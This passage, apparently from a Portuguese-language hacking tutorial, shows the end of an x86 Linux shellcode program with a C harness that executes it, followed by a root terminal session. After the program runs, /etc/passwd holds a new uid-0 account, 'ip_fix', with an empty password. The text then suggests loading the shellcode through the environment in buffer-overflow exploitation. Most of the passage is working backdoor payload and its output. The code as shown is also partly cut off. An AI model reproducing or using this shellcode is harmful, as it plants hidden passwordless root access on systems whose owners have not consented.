Liber 000 - Astrum Argentum

main() {
"\x68\x3a\x30\x3a\x30" /* push $0x303a303a */
"\x68\x66\x69\x78\x3a" /* push $0x3a786966 */
"\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb2\x1c" /* mov $0x1c,%dl */
"\xb0\x04" /* mov $0x4,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x01" /* mov $0x1,%al */
"\xcd\x80"; /* int $0x80 */
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen
(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
shellcode/hexapasswd2.c
Vamos ver se está certo.:
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static
hexapasswd2.c
hexapasswd2.c: In function `main':
hexapasswd2.c:47: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2
Tamanho do Shellcode: 86 bytes.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
w00w00!!! Sim!!! Perfeito!!!
É um pouco grandinho mas funciona, lembrando-se que numa
exploração de overflow podemos carregar nosso shellcode na
enviroment no sistema ao invés de jogarmos dentro do buffer. ;)
Galera, é isso aí...
93